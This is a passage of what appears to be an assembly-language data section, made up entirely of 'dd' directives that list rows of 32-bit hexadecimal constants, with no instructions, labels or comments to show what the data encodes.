		dd 8944E069h, 5A618815h, 0C1C28DB0h, 53A8D488h,	9285Ch
		dd 2A7BD20Dh, 8FA1496Fh, 0AD254B07h, 0F5504706h, 0CC857ED0h
		dd 0C5D03E40h, 0E0208089h, 3F0A543h, 68C2AFCBh,	0CEA74D88h
		dd 456A5B01h, 4B944F04h, 873D7842h, 0E7608424h,	4A118BC1h
		dd 0A95858B2h, 492D132h, 0B360B094h, 399A6A39h,	0AA1F2515h
		dd 1D098202h, 78706220h, 4900FF83h, 0BE654513h,	52D23DD6h
		dd 40209815h, 6440C84Ah, 15B8AACFh, 272225A6h, 0C2A8580Ah
		dd 6C2BC40Bh, 725B4460h, 0CA8DA307h, 6E10882Fh,	3DB9F344h
		dd 29A4AE7Dh, 0FC90ADB4h, 0E50A8671h, 8887E68Eh, 0AF414944h
		dd 0D0DA7536h, 601773ABh, 0C492BB11h, 0B732222Dh, 21C45CCCh
		dd 288C4995h, 94F894CEh, 80003C29h, 0DADBA11h, 59D01EDEh
		dd 0E2007CE4h, 0D4D16F3Ch, 0B1419C52h, 4C321448h, 6F5B2100h
		dd 0C5D36879h, 0F4FB3805h, 0CC89329Fh, 1C4903D0h, 3BBF8Dh
		dd 6D072E44h, 7C02F10Fh, 6EDF5A88h, 44A4E49Fh, 0F0000F47h
		dd 778EDC0Bh, 310C72A3h, 965135F8h, 0D3784131h,	7DC51766h
		dd 475EF0B3h, 8808E7D4h, 0C912F39Eh, 891078DCh,	9F6DC0D6h
		dd 600A9F8h, 0A6732E6Bh, 4D15093h, 0C84C529h, 0CD90CC46h
		dd 0B21C09C5h, 4830D0B5h, 0DAE18B15h, 2AAC334Ah, 2958CCCDh
		dd 859480CCh, 0E41F16Eh, 52445E8Bh, 17058D81h, 0F01C45DEh
		dd 0F417121Ch, 0E87050E9h, 0BBCACF1h, 0C047E3Eh, 4441DC05h
		dd 0B4E41C50h, 0AC91300Ch, 0F073B301h, 0F8286111h, 0C2E06DB0h
		dd 3365CA00h, 4082B036h, 0D0973BA2h, 4015AC92h,	4F53C10Ch
		dd 89C04729h, 12D316BFh, 7CDB00B8h, 62ED1955h, 0F004682Ah
		dd 88CD9654h, 0A2A53340h, 4F124076h, 984B5EC7h,	0E82C48FFh
		dd 788D27DAh, 0C7A085h,	8253BF60h, 0B4070B08h, 0FC0F0389h
		dd 1888C784h, 7A8573F3h, 14B002C0h, 0C2C5A707h,	0D48C9805h
		dd 80D05832h, 0F22F9AC4h, 0BA998674h, 3E200588h, 0C82A7F58h
		dd 11F2488h, 4481F52Eh,	0CE8F3F8Eh, 3DAFF048h, 2D002920h
		dd 39B80997h, 0DE078B99h, 5A45DAEBh, 0B8C82114h, 0AA37003Eh
		dd 1CEBED9h, 0F8EA83C2h, 0C14F48h, 9C62814Ch, 797E07h
		dd 3520955Ah, 8FCF024h,	15C0FF5Ah, 2CFA6D91h, 0E0BF30Ah
		dd 676B812Ah, 95C0D818h, 5600A9EAh, 0EBA47E46h,	694F2817h
		dd 6B098140h, 2C254068h, 188125h, 0AF221280h, 0E150CA77h
		dd 3C850B58h, 0D9BC9C10h, 2B85100h, 62ADC340h, 683207E8h
		dd 3F9FCCh, 4B135EDFh, 40334507h, 0F4706718h, 0B9A11BDh
		dd 624FE18Eh, 30F37810h, 0F5595260h, 0CAF2E2h, 343986DAh
		dd 0ECDD1EC0h, 15D8C901h, 0E4D2553Ch, 2809F1E0h, 45E08B20h
		dd 0EC2331h, 0B6C8938h,	3A422AADh, 740B0897h, 0E8988B0Ah
		dd 0D400A988h, 38BFD750h, 94D9331h, 971C6DBBh, 9F120864h
		dd 0ECD0C54Ah, 4416E6h,	205B1346h, 9F6C8232h, 0E80248F8h
		dd 2E065499h, 1D4F90Eh,	57F6F7A6h, 0D2B1F42Ch, 82766F3Ch
		dd 2345DDA4h, 788C8A0Dh, 20799A09h, 0B4EDCA38h,	4CE0F73Fh
		dd 884F1689h, 678C323Eh, 1697EB20h, 0CDAB1FAAh,	0A02938h
		dd 0AEF6DFD9h, 4D009A7Dh, 0C6EEB9FFh, 1AB51D8h,	2BA7A299h
		dd 6567BD50h, 160C3098h, 2829C889h, 636DFB00h, 0E337F51Bh
		dd 27BD1009h, 44C05216h, 0B55C325Dh, 0A8988240h, 81E0F916h
		dd 742F9681h, 0EE06929h, 80179530h, 0A3032BFEh,	99612CF0h
		dd 908A0098h, 4B4D9DF3h, 9172105h, 0D0DC1A46h, 0E9DA00C9h
		dd 0AA9D6A52h, 9C028025h, 3F5D048Ah, 0B45846D0h, 88306564h
		dd 0AF00B250h, 88A6A108h, 909ED73h, 7DEE9C63h, 5B25B020h
		dd 812DCBE4h, 20965C32h, 34894488h, 3706F403h, 0A7F3CA94h
		dd 4D22F830h, 4512FE6Eh, 330860AEh, 0CA366806h,	928E8E2h
		dd 0EA85D303h, 4C846480h, 9B9515AAh, 0E4D0E348h, 0C24E74D3h
		dd 69B4F250h, 0E004F9E3h, 0A9285834h, 0B899C416h, 772080BCh
		dd 0ED04DE5Eh, 8F8BE471h, 2A817CBCh, 335A4A38h,	0C7E4C1E8h
		dd 0A420C005h, 90B129h,	0A1B89C84h, 0C8E245C9h,	0AF771502h
		dd 66326F4Eh, 4F664494h, 0A86C9095h, 2F431AB4h,	6000500Fh
		dd 629C81AEh, 0B4505928h, 981C8802h, 815DBC16h,	35B64A8h
		dd 4C649831h, 60D98AC6h, 0A5699800h, 0AAFE14h, 0C9B7A449h
		dd 509620FAh, 0E81D8174h, 0BF40C795h, 5C66DFFEh, 0BA5601A3h
		dd 9447B538h, 60A6C882h, 91583B17h, 0E3791487h,	4F38126Ch
		dd 0ADC00787h, 0B2547024h, 4A295695h, 401FC85Fh, 89112C24h
		dd 90BC6450h, 5A20009Eh, 9DB5A5AEh, 2D00F4B6h, 7EBFABF3h
		dd 74B89886h, 377D7828h, 0C0088407h, 0D656C6F6h, 0C89DA200h
		dd 0FF2A1A73h, 0C01D0CBCh, 293145B6h, 49CE9600h, 0B5249AEFh
		dd 8350C73Dh, 1A13F86Eh, 80CF9300h, 0DF0C317Bh,	0A71F4070h
		dd 794D9C2Dh, 99FBE83Fh, 8838722Eh, 94765987h, 0E69290FCh
		dd 0FE1C621Dh, 5F40A201h, 7D044E65h, 0D42E3086h, 7B903C51h
		dd 80C03E00h, 0EC29AC9Fh, 0C6020017h, 0D1B073CAh, 22069ABDh
		dd 96760599h, 0CF2E30F9h, 0DD7BB041h, 0E858F800h, 483D0876h
		dd 0F3F780Fh, 0FA4C77DCh, 78685446h, 41C65030h,	26E9CB06h
		dd 27A9E7h, 6D970DA5h, 81010AA4h, 0D0EF112Ch, 0A850880Bh
		dd 311C80AAh, 6511872Eh, 5749807Fh, 510A24B5h, 0F12D14D4h
		dd 509FCCC9h, 8E768892h, 53000345h, 77AB7427h, 80F9FB2Dh
		dd 75F26E5h, 0A86761E8h, 86DC0276h, 7323D4E1h, 97B1841h
		dd 5FA619C0h, 14A015F0h, 0FD07031Fh, 0E4575182h, 3B3491C0h
		dd 7C44B8B3h, 1741C433h, 11BA49D1h, 0E2605C1Ch,	628C00DCh
		dd 0E2E9AF50h, 0AD2BD43Eh, 3F007899h, 0DD93A226h, 0E5F400DEh
		dd 528A7D9Eh, 8902879Fh, 0C4D1A118h, 93652375h,	0D5F93900h
		dd 0D106B3A0h, 1809012Fh, 5950A979h, 806DE91Fh,	5A77F31h
		dd 1FF290C6h, 0C73FDBC5h, 0F1F192D6h, 8F4E43AFh, 0C0038629h
		dd 91796A08h, 0C0653045h, 0DF5E6119h, 0E8251D00h, 6E144074h
		dd 75480324h, 811A2D01h, 4D1E290Fh, 0B059CA63h,	879EE6C0h
		dd 0A12B0F34h, 2D044457h, 32DF40D8h, 0CDEFCh, 0D0D5DD16h
		dd 0B4B69555h, 0AC56E9A0h, 9D724500h, 6233153Fh, 0E4370192h
		dd 0DD2D30E6h, 41D050B5h, 0A8A63473h, 0ECA5ED1Dh, 60F743C0h
		dd 0C7C52B45h, 0B04E971h, 3A12BA01h, 0D385E8B4h, 0A15C3473h
		dd 43770258h, 4003582Eh, 7ED19D50h, 15E6880Bh, 1C8AA600h
		dd 655E63DEh, 8F71CF82h, 6C0E8489h, 0BD27E9E0h,	78188505h
		dd 0BF79B782h, 39FD0458h, 0C21E7A37h, 95208B18h, 0EED1C5DAh
		dd 3B100036h, 0D689DCFBh
		dd 80E94FC1h, 64587461h, 2F1508Bh, 60F0A9E9h, 0C484A3DCh
		dd 9A074621h, 0F63207A9h, 9F5A5D59h, 0DF0700D6h, 36183825h
		dd 6E757F13h, 87BB2C04h, 6C005E09h, 9FA7D9A8h, 36978800h
		dd 0E6DC4CB3h, 3CA57D13h, 0DD09B652h, 9421A14Fh, 0D8EA5F99h
		dd 503821B5h, 569E00A2h, 7C79C674h, 0C3427E97h,	0ED7198B4h
		dd 50CE2EC9h, 166F4B84h, 9B0077FCh, 118250B0h, 3B9E73Eh
		dd 0E9549862h, 80859497h, 414A7509h, 0A9D439C4h, 307BC4C8h
		dd 1F19BDFBh, 3E74875Eh, 6D4B2C00h, 8B72B716h, 19A50022h
		dd 42FE61D3h, 94983E79h, 8424C84Ch, 70228C5Bh, 2B552D20h
		dd 64280081h, 9CD7DD10h, 0E80F6A56h, 2076AA73h,	0C75FA713h
		dd 0B574169Bh, 63182064h, 900E66DEh, 0E8D9D28h,	5F2AA708h
		dd 0AFF64670h, 2D750CADh, 0C7317C04h, 84401E24h, 0F300DB11h
		dd 75BCA70Dh, 8CA013A0h, 3E306296h, 2263C0B4h, 0F10301A8h
		dd 2E6E70EBh, 0CF3980D0h, 561167CBh, 294B0327h,	5C075C8h
		dd 5CB55E80h, 0D80B5000h, 0E6459290h, 0C014F397h, 0CD2DE844h
		dd 4EA111C0h, 1F339BF1h, 852A1BFCh, 8167285Eh, 9C64084Bh
		dd 0D70159B9h, 7FF14075h, 0AA5ECB00h, 9C8A9F09h, 84DC0141h
		dd 0B8222E89h, 5722FB00h, 4FF5A287h, 66DA0A0Fh,	0F11EC0E6h
		dd 7A53B737h, 7B38002Eh, 0D468861Ch, 5988880Ah,	2D940964h
		dd 3C2302F2h, 79005098h, 0CF073BFh, 0C2D392Fh, 7B0D1FC5h
		dd 0AC004A39h, 728ABDE1h, 288453h, 0F87CC496h, 0E459C72Bh
		dd 0F4A91326h, 81BEFD08h, 277407A6h, 98686001h,	0C7409289h
		dd 4CED9A99h, 6E00A0F1h, 6DFFD207h, 8FB8E7A8h, 6C24B71Ch
		dd 1D9927D8h, 0FF63004Ah, 0F24F9433h, 3B06DD8Ah, 8E4E531Fh
		dd 0E0FA0059h, 0B978D99h, 0D9057F5Fh, 41065725h, 64E6E881h
		dd 83821C32h, 44041DDDh, 0ED819F41h, 58A7E501h,	4CB8778Ch
		dd 18A65575h, 8FC68801h, 0E91598F1h, 2EBA23FEh,	69132101h
		dd 8E205306h, 0C1C2C0h,	0F64233E5h, 0D039AD83h,	0B4A24624h
		dd 0C9F1EE1Fh, 3C405998h, 9F4021Ah, 0C41DC51Fh,	7052BC00h
		dd 0EF285F71h, 0B34801h, 3E0E9505h, 225E2488h, 790F824Eh
		dd 0C0667387h, 917B26A8h, 11D30B4Ah, 90B7F4h, 0CC7DDD41h
		dd 0A5E0A600h, 0E76ACD2h, 0D59B001Fh, 0D97BF2FEh, 59B8F479h
		dd 0A7077090h, 60DD730Fh, 965B9721h, 0A207498Ch, 99E0B991h
		dd 0DA341C00h, 26A1484Ah, 599700C6h, 65DDCAA8h,	0C11C192Ah
		dd 88DD9EDCh, 62E2FC07h, 0B89858D5h, 1DF20015h,	5C7568C3h
		dd 0EE001944h, 0BEF75EC5h, 8E654F22h, 991D822Eh, 1034E609h
		dd 0B36449Ch, 6E9D11FCh, 0C9B1EF80h, 0A01D6E9h,	0DBC44B25h
		dd 0EAF88830h, 7916007Dh, 34519854h, 3C002477h,	0C6B17EFFh
		dd 0E26BB4h, 0C8DFE9E8h, 0D51F665Eh, 0C90022EEh, 0AF96CA4Eh
		dd 386D4462h, 38E12CE0h, 0D1431CB4h, 0C42FC0DEh, 0FD30DA01h
		dd 0CA24C60Dh, 14472DE1h, 0CCD67F90h, 232E00E3h, 0E4BC5FCBh
		dd 4500DFB9h, 0DCA3D2A0h, 18F7B6EDh, 990F19FEh,	0FA60B107h
		dd 0C3D33B40h, 174E0C81h, 43C40F52h, 0F9E92A00h, 49C507C0h
		dd 1F28C080h, 0D29DF52Fh, 30D44E06h, 18C383h, 1E3420FFh
		dd 15AE7D98h, 0D51DEA01h, 2317016Dh, 312D718Ch,	4F0034B1h
		dd 0B0D52280h, 536897h,	0D49BFC7Ch, 498F90B5h, 1D4029DEh
		dd 1AE09448h, 0AB383ED0h, 9C70FE30h, 31180FF6h,	0DE81977Eh
		dd 92A200AFh, 55E541CDh, 3AEC56DFh, 443F4A02h, 6064C3E7h
		dd 7A7380h, 3480375Bh, 0AA89FF43h, 19023B0Eh, 38A999BCh
		dd 9BB75A10h, 0D9F7A600h, 0BF78CB6Eh, 0FE5E0018h, 3BBDC3BEh
		dd 38008760h, 0F515913Ch, 15E049B3h, 98312AE4h,	0F4750700h
		dd 0A124BBC8h, 0FDECA201h, 6FBC9C35h, 6E48ED8h,	96317DCFh
		dd 9301C9F5h, 9133B597h, 89BA4730h, 10C29894h, 19438F18h
		dd 0B690EF40h, 0D4B8B089h, 5624A56Bh, 0D11401Bh, 82E1007Ch
		dd 66552B35h, 0FD00F91Ch, 13AFC5CBh, 805DBDh, 65FF1D37h
		dd 2CDEB3A9h, 0E94444h,	58AF0549h, 278BBF61h, 0A410218h
		dd 0C072D459h, 8769F0Ah, 0A30A7BBAh, 0E027E01Fh, 9475DA40h
		dd 9F7839ABh, 0B0A62Ah,	9AA7BA9Bh, 8F0C76C4h, 0F0D7EE00h
		dd 70BE6FE3h, 1AD103E7h, 23D5537Dh, 893B491Dh, 0B8882A42h
		dd 8DFCA468h, 4080794Ah, 0B6979F2Ch, 1F24AB03h,	1488B91h
		dd 0EDD9BB41h, 5238B206h, 2080ACCCh, 11A1A8C6h,	0BC4ACE00h
		dd 0EAF5AFEEh, 0F9840086h, 85CC5C77h, 0F31E969Eh, 8C019C07h
		dd 7A29AC1Dh, 0C0806842h, 0D7F078h, 2F69AEBBh, 4C420406h
		dd 0F578C4A1h, 3A5D0030h, 0C10CE202h, 17C907B1h, 40AC257Fh
		dd 48D4AD58h, 0DDD380h,	9C50A040h, 0C0C2BF07h, 23C5706h
		dd 0D79B50Eh, 99AD2B38h, 521AF140h, 0AF30C82Ch,	945C01A9h
		dd 879E2095h, 8C34DD01h, 29022318h, 9B0A07C2h, 105A7441h
		dd 0AAEB80C3h, 8EEA0101h, 96AC3542h, 0DAE4FF00h, 1C504800h
		dd 6017D65Fh, 0B10A18D5h, 0DC01218Eh, 7C079470h, 0F1EE45DEh
		dd 0F5732047h, 0E5AA81A2h, 64204AD5h, 9B49448Ch, 0DF00E778h
		dd 40D338F2h, 0E0A1D0h,	924901D1h, 6F94A9E5h, 45B3C900h
		dd 0CBFF32DFh, 0F1206079h, 770994Ch, 8DF03Bh, 0FD7CF3BBh
		dd 0F48EFE2Dh, 42E80050h, 5AE1EA45h, 0E358877Ah, 3AF9601Fh
		dd 1CBA5E2h, 5973034Ah,	222DA895h, 943500B0h, 0FA1CB676h
		dd 5FD40CC0h, 1BE993B7h, 0E38BF74h, 0A87E77EAh,	16485400h
		dd 6051EFC8h, 7A721359h, 1C8C01D8h, 207CB884h, 0BF3D8C90h
		dd 0D4E6099Bh, 0E02C135Ah, 302BDF32h, 0E1618098h, 381FEE8Ah
		dd 1F0AB90Dh, 9C007877h, 0F793CC13h, 0A98E00F9h, 3B36FD35h
		dd 51031872h, 25E63C9Eh, 4C0DE005h, 698309D5h, 402E934h
		dd 0DC61A196h, 0A2F17092h, 8C800490h, 333476D3h, 2CCC603Eh
		dd 272800E6h, 4FC96DB8h, 0A10F6F43h, 20825216h,	0FEFC0B8Fh
		dd 9B767D42h, 29A80F0h,	30510B54h, 0F633D100h, 8782D9FBh
		dd 5C0F14BDh, 9A80C026h, 0CEEEC94Dh, 15DB5306h,	0FFA0E46Eh
		dd 0DF008833h, 9A22380Fh, 8602E0E8h, 8770A2D5h,	24984657h
		dd 618C1002h, 8098ACA2h, 3FC1E941h, 17BF688h, 0B3E5E642h
		dd 64D4AB30h, 0E400DE84h, 9722465Fh, 16E21726h,	1FBC4D1h
		dd 62A7A928h, 56402039h, 98A69928h, 0CF248F00h,	1F618A86h
		dd 2C47130Dh, 0B9E0607Eh, 34378733h, 0F3F22828h, 2A8C82DDh
		dd 0A0F0AF2Fh, 703CABADh, 0AAEE0124h, 7629D92h,	8A69E4EAh
		dd 0F8E3B324h, 0A679D204h, 0C2934440h, 0AE76E45Ch, 2B926C00h
		dd 0B8B0B382h, 380B0C8Bh, 0A0611B26h, 8648900h,	17294C59h
		dd 0C0FE3Ch, 79BC7C92h,	0F48A2671h, 0DCB6840Ch,	0E9076941h
		dd 0E9DAF000h, 6D035471h, 7036D49Dh, 9CA23B83h,	0C506DF84h
		dd 0E030C815h, 0AF9442F5h, 0D8393056h, 13DB8110h, 6FF83DD3h
		dd 43C614C7h, 0FC02988Ch, 0D9DEAFCDh, 48038041h, 0DC00045Ch
		dd 85D0A3Dh, 0BE64BFh, 0F37D95ACh, 72B6A752h, 0A130D8B5h
		dd 5313480h, 7888AC14h,	0E1D80301h, 0F8566755h,	0C97684D7h
		dd 96A89F8Ch, 0FD593440h, 0B846F5E1h, 2E9BF800h, 3F20E784h
		dd 5497910Eh, 575CD380h, 38C07C96h, 0F87E6894h,	0FC4B1DFEh
		dd 20849A9Dh, 53B58861h, 363D5DD0h, 786EB5D0h, 8500288Bh
		dd 548DB3Ah, 2F7456C0h,	0E1EB1904h, 0A3C09846h,	3BB7740Dh
		dd 361353D8h, 5A44235Ch, 399FDF0h, 38C0F728h, 21462D30h
		dd 340F09Eh, 0BCA5C549h
		dd 1482E726h, 76E7C98h,	0DFA60101h, 9415DA8Ah, 41932DD1h
		dd 222B1330h, 0A02E0FA8h, 0E7C7510Ah, 0E09D00B7h, 14E41906h
		dd 1D039E4Fh, 0AC9C160Dh, 0CA39009Bh, 3DC3362Ch, 1509A02Bh
		dd 51A3C61h, 0C4893588h, 0D5878881h, 0DBBF9FC4h, 945149CAh
		dd 9C655500h, 357FC6Ch,	76D204C4h, 3B9AB926h, 0FC8B1141h
		dd 0F8B17A17h, 0DC3DBF3Bh, 162C7EC3h, 56087C60h, 15942680h
		dd 5281800Bh, 74FDCA07h, 0BD023428h, 0B2C02BF6h, 0D37C98B5h
		dd 296B859h, 0D571FAEh,	30624FD9h, 7682818h, 1704B243h
		dd 8C1F5077h, 8B001580h, 7DA27CFh, 2E78E20h, 32E1D023h
		dd 70C03404h, 66153A1Ah, 3904A2Dh, 1BD5128Bh, 3077E9B1h
		dd 30C3CC20h, 3B21452Dh, 73009044h, 85EFEEECh, 9A224A4Eh
		dd 24C9044h, 3090B760h,	0EC91FCE3h, 227042A9h, 4F597121h
		dd 66A0D8h, 4046AA3Dh, 0F3CB97FBh, 676EF502h, 0C07D7F2Eh
		dd 6905AB04h, 0B89840B3h, 1F00D77Ch, 285BBEACh,	0F3142Ah
		dd 194DCA12h, 84CDF0B6h, 0AC743B24h, 0D090AC12h, 0FBF137h
		dd 0E7C66B06h, 91604682h, 0D50B1C13h, 6CF02003h, 2B78209Eh
		dd 69C944h, 6B5A1435h, 0A5B6F4BCh, 6EA1C500h, 24934B8Eh
		dd 26071305h, 2872004Dh, 15387AF4h, 1B305961h, 23D074EFh
		dd 0E5FA005Ah, 89D2AA0Dh, 0B3037728h, 51F50A3Ch, 10F9C337h
		dd 8547038h, 867BC518h,	80241522h, 8C8A590Fh, 0B585A0BAh
		dd 0C0F3556h, 0EC62EA70h, 1B888141h, 472219DAh,	0E214211Eh
		dd 353D702h, 82E4C72h, 51001E23h, 0BA73A19h, 54E201D7h
		dd 212A9037h, 0F0798014h, 0C4748B33h, 0F9E6025Dh, 12DA18D3h
		dd 48AD5087h, 54C92C00h, 4FEC1B6h, 410E30Fh, 0EB8C3BBh
		dd 0F8BAC4B1h, 0CC0666D9h, 0BDF4C618h, 397C1538h, 1B01B026h
		dd 421F870h, 1465D077h,	696AC530h, 5CF1D74Ah, 180A979Eh
		dd 0C5DD0h, 65F9A3DCh, 57602FEFh, 62DDE2D9h, 0DF3C0CE3h
		dd 35602AFEh, 9B691960h, 3AB399h, 50893163h, 0DDAF521Ch
		dd 0DE2A4B00h, 0DF3D2701h, 1C2B531Ah, 8E741C00h, 61C1C8DDh
		dd 0E200A175h, 4A734089h, 0C8AF01ECh, 14A6B670h, 7A917619h
		dd 0F60AE44Ch, 0A318015Dh, 1CEEC6A4h, 55F8815Eh, 0B4A7D706h
		dd 0B7BE9041h, 0A6644B00h, 0DF970C00h, 3E4A7448h, 1DEB00A5h
		dd 3FE20BE6h, 0E101C992h, 29DB373Dh, 76D0877Bh,	845650EBh
		dd 64C903Fh, 2FEED5D7h,	0EF2A919Fh, 3400A079h, 0D908B8F0h
		dd 67DFECFh, 0B482A14Bh, 0D15583Ch, 0F0B321h, 0A6D7F156h
		dd 5E248h, 0A87EBC95h, 0B9AD9E1Ch, 7A168000h, 6C378DCEh
		dd 397B152Ah, 0D8409C0Fh, 377C885Fh, 0F1E1ACABh, 0EB0230CFh
		dd 23B29CA0h, 8B57AA88h, 47EEF5DFh, 82AD0E08h, 0E52F3E92h
		dd 1C0EB9F7h, 3B509191h, 34E90E52h, 19F9355Dh, 0CFB07EF7h
		dd 0E7FF0033h, 46A786DCh, 21C01634h, 0B90CBEBBh, 0C9A00E70h
		dd 0C6C36E4Ch, 49D07F35h, 0CF0319E7h, 0BD14409Ch, 0CED10568h
		dd 0D918DCh, 0AA3B7308h, 0EF1D690Eh, 0B93087A6h, 0B006A5F7h
		dd 6023B0C1h, 5251A950h, 2E05E6E0h, 76A5EECEh, 88B16C48h
		dd 0E4800E35h, 0AEEEBB92h, 569D0096h, 6A4ACA34h, 7B1CC003h
		dd 24BC1E7Fh, 0EF631092h, 96990043h, 0E18F372Fh, 0A401F557h
		dd 4E62D3C4h, 0C440DC1Bh, 247974C6h, 4354E93Dh,	797E1235h
		dd 0CF21A903h, 10537733h, 296AA3A8h, 0E507ECEFh, 0C7F09224h
		dd 0D127D3h, 46C0DC33h,	3D5B645Dh, 0D4BBFC29h, 0BE508C08h
		dd 19B7F819h, 7A5C5093h, 300054EAh, 0F1C49E49h,	0DEDCCAD1h
		dd 3E0382B1h, 0B448DAFCh, 3D446E65h, 0C6C00018h, 20EA910Dh
		dd 0E00ED9B0h, 3425192h, 51C972AFh, 48123AB9h, 0F71A1CA3h
		dd 4119E251h, 0A010EE74h, 827E1703h, 0CEA4A200h, 0DDB69605h
		dd 6C2004ECh, 0DC241C22h, 0F079E11Ch, 974CD500h, 0C85CD2CFh
		dd 63B6014Ah, 1C7802F1h, 0DE404357h, 986441A4h,	7960AA9Ch
		dd 7C94E445h, 80E09B14h, 0A08E82CDh, 911302E7h,	8031DF7h
		dd 0A8F879C4h, 248BF37h, 7B011864h, 4CCBCD38h, 1368BBC1h
		dd 228A9B72h, 3530D978h, 864D6920h, 6E250045h, 3DA8F2Ch
		dd 5F005EB9h, 218EA07Bh, 13DF72E6h, 343B0A92h, 69F48070h
		dd 0FC03DE90h, 5D8627BCh, 1BC0B9DFh, 29380030h,	806459C7h
		dd 0BE74FF7Ah, 0C1009FB0h, 0BAF20A44h, 983DDEFEh, 0D0CF02FCh
		dd 0CCD4E6A0h, 30A4B843h, 49AD92DDh, 2200645Eh,	2C3D64FDh
		dd 0DA0005EDh, 0EF27B302h, 58243E58h, 0EC06C0Dh, 0F6E74128h
		dd 0EF063F00h, 32750416h, 0E8EE01C5h, 19B4DCDAh, 7FFC4821h
		dd 0CAAD9500h, 878DC52Ch, 1BF7E35h, 0EBD5A2BDh,	12275420h
		dd 0C8E42114h, 521BEC8Bh, 0DDBF407h, 4E622944h,	6C284215h
		dd 35E49258h, 0D9C23Ch,	778B986Ch, 0E132AB49h, 231B30D6h
		dd 290075EFh, 6A31C670h, 3D49F1D1h, 7B16EB3Eh, 0FB800BDFh
		dd 4E46405h, 88646E28h,	8F8842DCh, 837207E2h, 64681178h
		dd 7A50C01Fh, 83F33A7Ch, 0BBF9AAC9h, 4A8FA0F2h,	5C4B51F6h
		dd 28928020h, 228EECCh,	0B9A5244Eh, 8C6012E4h, 3893B81Dh
		dd 0B7356702h, 0D9444845h, 0A722886Ch, 299EA9C0h, 6555C8h
		dd 8057E53Ah, 0DDBFBA3Eh, 0C55C4E06h, 991B34h, 3744F8EDh
		dd 1657E6D3h, 0E7DA2500h, 0EF993FD5h, 5F11D29h,	0D00B5843h
		dd 0E38B2731h, 72EED0B7h, 0D5C9C087h, 0FFED3F25h, 0A389E100h
		dd 12984180h, 22EC00EAh, 954A5524h, 5C44EEC9h, 838F0B19h
		dd 98818EFEh, 80B6223Dh, 0E206F5C1h, 0B7F92DAh,	0AB52EBA4h
		dd 21B10086h, 2005F7Bh,	474DE16Ah, 0B9C3EF7h, 23AE702Bh
		dd 0B79DC80h, 0DE00F5DFh, 3C3D7A2Ah, 92D6CF76h,	9142457Ch
		dd 220626D0h, 61BA8305h, 1089ACA1h, 41DFFAh, 0EA9045D1h
		dd 18F59C7Eh, 33480A00h, 111ADAB5h, 58D0A6Bh, 0A028367Bh
		dd 3B900DCh, 70A13C9Dh,	5E0CF81Fh, 69B00806h, 0FA09922h
		dd 0B1A0269Ah, 46D976A0h, 0C8894D00h, 38AAD675h, 14270AFBh
		dd 85CA4C6h, 728C0E6Fh,	17CBA943h, 4904A8C6h, 488294A4h
		dd 49042413h, 12C164A0h, 8EE0A28h, 7A807584h, 478CD9ADh
		dd 58345854h, 1DA4F480h, 774865FBh, 0A803D22Ch,	0DC34CD05h
		dd 99D7B4A4h, 0A5318E24h, 9C0B298Bh, 48079018h,	0D80D472Dh
		dd 0ADC02E42h, 96540FCAh, 0C9A77B40h, 3630ED52h, 0E6DD08DBh
		dd 213F00BEh, 19075450h, 310088E0h, 36CDD2F8h, 0EE87090Fh
		dd 31DE6062h, 147477E9h, 5AA8E403h, 0A0C0C8BEh,	3054707Fh
		dd 2561AC52h, 840010D7h, 0B7D53ACBh, 5327B89h, 0E86E0115h
		dd 8ACAC021h, 0D90C1DF9h, 38DD22D6h, 5FE11BCDh,	0CBC1682Bh
		dd 0A51987F3h, 0D1E777D4h, 0CF1B1020h, 1E1E7855h, 41C64B7Bh
		dd 0CA76E845h, 0B031B243h, 0F2182CCBh, 0E58C88h, 5D4F0297h
		dd 0E1C399BAh, 71544A30h, 0D6DE760Dh, 0F0403C1h, 1170AB57h
		dd 763BE000h, 9C3FB4F8h, 0ECB60E30h, 0EA4080CAh, 0FA3E7562h
		dd 0DC2FC300h, 6A33D7E6h, 38400324h, 4B26286Eh,	5366E8D8h
		dd 36561600h, 355B1FB6h, 0C5A1000Ch, 6D05C0C4h,	0C9A033CDh
		dd 0BDF03695h, 0BEEC6F03h, 81A1D4C6h, 4C98BF9Bh, 5DDD60EBh
		dd 85001EFEh, 120A5A67h, 0E8DB2E7Bh, 309818C8h,	3FDD8959h
		dd 5F303578h, 2DC611E3h, 34B7CCCh, 0C035C31h, 78013644h
		dd 1FD48BD7h, 118339A9h, 58BFCF2Dh, 93AA2C00h, 0C4BB4D2Ah
		dd 61FC61BDh, 8CF964CCh, 3917AEB9h, 0A8FE0Bh, 0E00CA0FFh
		dd 25FBFA96h, 0F477C50Ah
		dd 8003F85Dh, 90B452A3h, 1830D13Dh, 48D6285Ah, 1844560Dh
		dd 69CF649Eh, 46F28031h, 250E6998h, 40D80BC2h, 489C7841h
		dd 0A745028Fh, 80BDFE67h, 88CEF641h, 80DEB5A8h,	3069C7D6h
		dd 84A8E442h, 7CA84D0Dh, 64AE8DCCh, 0F00ECB0h, 0CBFD4A87h
		dd 3E55304Bh, 70073A0Eh, 1A24F22h, 0C415FA78h, 3029520Ch
		dd 6F0CD041h, 551C9h, 0C41843D3h, 0BAF3FAEh, 3D601506h
		dd 9692FA9h, 0D4C1624Eh, 6CB5D000h, 0DBE20C64h,	0A36B3000h
		dd 65CC7AD6h, 0C451C3F7h, 0D919F6B6h, 0D171F126h, 2272FCh
		dd 6A15C90Dh, 8403DFEBh, 400AFF00h, 9C47C69Eh, 0DEB03B2Eh
		dd 41E51799h, 0EB9313E4h, 68DE05Dh, 0DA580ECCh,	63A531DFh
		dd 0B33C0471h, 690A5FF3h, 244498FEh, 234B1D40h,	1B005C2Ah
		dd 6E7694ECh, 70E3DC02h, 9C5A004Dh, 0CB2C6661h,	36734FC0h
		dd 513863Ch, 313E4033h,	500C8C02h, 0DA9E2339h, 0B9E57100h
		dd 0C302C701h, 1470909Fh, 1421570Ch, 2000C222h,	445A9AAEh
		dd 0E132A32h, 2151A0CAh, 9E68C3C1h, 113F10CDh, 39D002Fh
		dd 4D238E2Eh, 6D3D52C0h, 0CCBF9C3Ch, 360C9440h,	448C6D6h
		dd 31274084h, 1EC08CDCh, 3FFD8C1Dh, 0F3394600h,	495480Fh
		dd 9E36D2B7h, 8ECC42C7h, 0DB94A0D1h, 3E527984h,	5272684Bh
		dd 0BB11ACCEh, 0C6BD00DFh, 0C5B68B38h, 0C27E62Dh, 0B3166784h
		dd 9530CE10h, 653B18D7h, 14BDF8C4h, 0E0989666h,	307CA3Eh
		dd 10A159BFh, 171334C6h, 4E2A4B03h, 0CD570D85h,	14309840h
		dd 0C87E3153h, 0B042FE88h, 0EA2623CFh, 137EE900h, 0F90A8C8Bh
